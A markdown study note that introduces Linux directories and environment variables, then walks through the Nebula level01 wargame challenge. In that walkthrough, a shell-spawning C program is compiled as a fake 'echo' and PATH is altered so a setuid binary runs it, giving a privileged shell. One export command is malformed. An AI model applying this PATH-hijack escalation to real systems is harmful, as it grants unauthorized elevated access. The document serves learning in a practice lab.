Skip to content

Latest commit

 

History

History
181 lines (175 loc) · 6.74 KB

02.Linux_Environment_Variables.md

File metadata and controls

181 lines (175 loc) · 6.74 KB

Linux Directories Structure

Briefy Explaination

/ -> Root Dir
/bin -> User Binaries
/sbin -> System Binaries
/etc -> Configuration Files
/dev -> Device Files
/proc -> Process Informatio
/var -> Variable Files
/tmp -> Temporary Files
/usr -> User Programs
/home -> Home Directories
/boot -> Bootloader Files
/lib -> System Libraries
/opt -> Optional Add-on Apps ( Third Party )
/mnt -> Mount Directory
/media -> Removalbe Devices
/srv -> Service Data

Root Folder ( ls -al /)

drwxr-xr-x  3 root root 2728 2012-08-18 02:50 bin
lrwxrwxrwx  1 root root   33 2011-11-20 17:10 initrd.img -> /boot/initrd.img-3.0.0-12-generic
drwxrwxrwt  4 root root   80 2020-05-09 01:54 tmp

d -> Directory
l -> Symbolic Link
t -> sticky bits 

more about sticky bits

Environment Variables ( env )

level01@nebula:~$ env
TERM=xterm
SHELL=/bin/sh
SSH_CLIENT=192.168.43.234 61505 22
SSH_TTY=/dev/pts/0
USER=level01
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:
MAIL=/var/mail/level01
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
PWD=/home/level01
LANG=en_US.UTF-8
SHLVL=1
HOME=/home/level01
LANGUAGE=en_US:
LOGNAME=level01
SSH_CONNECTION=192.168.43.234 61505 192.168.43.229 22
LESSOPEN=| /usr/bin/lesspipe %s
LESSCLOSE=/usr/bin/lesspipe %s %s
_=/usr/bin/env

PATH ( locate example )

level01@nebula:~$ locate /etc/passwd
/etc/passwd
/etc/passwd-

locate program is in /usr/bin
PATH = /usr/bin

Setuid Program in ls

-rwsr-x--- 1 user group

group only have execute permission

Nebual 01 [ Description ]

#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <sys/types.h> 
#include <stdio.h> 
int main(int argc, char **argv, char **envp) { 
	gid_t gid; 
	uid_t uid; 
	gid = getegid(); 
	uid = geteuid(); 
	setresgid(gid, gid, gid); 
	setresuid(uid, uid, uid); 
	system("/usr/bin/env echo and now what?"); 
	}

ls -al /home/flag01

-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01

Running program

level01@nebula:/home/flag01$ ./flag01
and now what?

system() is command execution fuction in C

level01@nebula:/home/flag01$ /usr/bin/env echo aaaaa
aaaaa

Locating echo command

level01@nebula:/home/flag01$ locate echo
/bin/echo

Shell spawning program ( shellspawn.c )

#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <sys/types.h> 
#include <stdio.h> 
int main(int argc, char **argv, char **envp) { 
	gid_t gid; 
	uid_t uid; 
	gid = getegid(); 
	uid = geteuid(); 
	setresgid(gid, gid, gid); 
	setresuid(uid, uid, uid); 
	system("/bin/sh"); 
	}

Compiling C code to Executable

gcc -o echo shellspawn.c

Need to compile in our Writeable Directory

/home/level01
/tmp

Editing Environment Variables ( Ref )

export NAME=VALUE

export PATH=/home/level01

After Export PATH

level01@nebula:~$ /usr/bin/env
TERM=xterm
SHELL=/bin/sh
SSH_CLIENT=192.168.43.234 61505 22
OLDPWD=/home/flag01
SSH_TTY=/dev/pts/0
USER=level01
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:
MAIL=/var/mail/level01
PATH=/home/level01
PWD=/home/level01
LANG=en_US.UTF-8
SHLVL=1
HOME=/home/level01
LANGUAGE=en_US:
LOGNAME=level01
SSH_CONNECTION=192.168.43.234 61505 192.168.43.229 22
LESSOPEN=| /usr/bin/lesspipe %s
LESSCLOSE=/usr/bin/lesspipe %s %s
_=/usr/bin/env

Not work.We need to export for specific file

export PATH=/home/level01:$PATH=/home/flag01/flag01

env

PATH=/home/level01:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games=/home/flag01/flag01

Running flag01

level01@nebula:~$ /home/flag01/flag01
flag01@nebula:~$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
flag01@nebula:~$ getflag
You have successfully executed getflag on a target account

References https://www.thegeekstuff.com/2010/09/linux-file-system-structure/ https://www.serverlab.ca/tutorials/linux/administration-linux/how-to-set-environment-variables-in-linux/ https://www.cyberciti.biz/faq/set-environment-variable-linux/